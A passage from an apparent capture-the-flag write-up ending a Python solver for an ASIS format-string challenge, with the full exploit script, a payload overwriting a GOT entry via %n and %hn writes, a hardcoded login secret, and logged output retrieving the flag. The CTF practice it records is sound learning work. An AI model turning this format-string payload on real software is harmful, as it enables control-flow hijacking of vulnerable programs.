elif sev == 1:
msg += "[WARN] - "
elif sev == 2:
msg += "[CRIT] - "
else:
msg += "\t"
msg += str(message)
print(msg.rstrip())
def main():
secret1 = "7h15_15_v3ry_53cr37_1_7h1nk"
log("Starting muh exploit...")
if DEBUG:
log("In debug mode, [enter] to continue...")
raw_input()
for i in range(3):
log(p.readline())
log("Sending secret #1...: {}".format(secret1))
p.sendline(secret1)
for i in range(2):
log(p.readline())
p.sendline("1")
p.readline()
log("What we have here is a failure to printf()...", sev=1)
#value i need to write to GOT (0x602040):
#writevalue = '400876'
#write in 2 halves:
#first clear out the lower half of GOT entry:
writeStr0 = "%72$n"
#now we write 2nd half of desired word, 0x0040:
writeStr1 = "%65123lx.%72$hn"
writeAddr1 = p64(0x602042)
#now we write first half of desired word, 0x0876
writeStr2 = "%2101lx.%73$hn"
writeAddr2 = p64(0x602040)
#now we construct our payload of the ages:
payload = 'a' * (0x1fe - len(writeStr0 + writeStr1 + writeStr2)) + writeStr0 + writeStr1 + \
writeStr2 + '\x0a\x00' + writeAddr1 + writeAddr2
log("Sending Payload!", sev=2)
log("LOOK AT THIS PAYLOAD: {}".format(payload), sev=2)
p.sendline(payload)
log("Triggering exploit...", sev=2)
p.sendline("1")
p.readline()
for i in range(3):
p.readline()
log("Retrieving flag...", sev=2)
print(p.readline())
if DEBUG:
embed()
p.close()
if __name__ == "__main__":
main()
|
And here is what it looks like running the script:
-> % ./solver.py
[+] Opening connection to 146.185.132.36 on port 12431: Done
[INFO] - Starting muh exploit...
[INFO] - [*] Welcome admin login system!
[INFO] -
[INFO] - Login with your credential...
[INFO] - Sending secret #1...: 7h15_15_v3ry_53cr37_1_7h1nk
[INFO] - Credential : 0) exit
[INFO] - 1) admin action
[WARN] - What we have here is a failure to printf()...
[CRIT] - Sending Payload!
[CRIT] - LOOK AT THIS PAYLOAD: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa%72$n%65123lx.%72$hn%2101lx.%73$hn
\x00B `\x00\x00\x00\x00\x00@ `\x00\x00\x00\x00\x00
[CRIT] - Triggering exploit...
[CRIT] - Retrieving flag...
ASIS{_ASIS_N3W_pwn_1S_goblin_pwn4b13!}
[*] Closed connection to 146.185.132.36 port 12431
Overall this was a pretty straightforward format string exploitation challenge that had me practicing the fundaments. Please let me know if you have any questions or suggestions!
Till next time,
Chris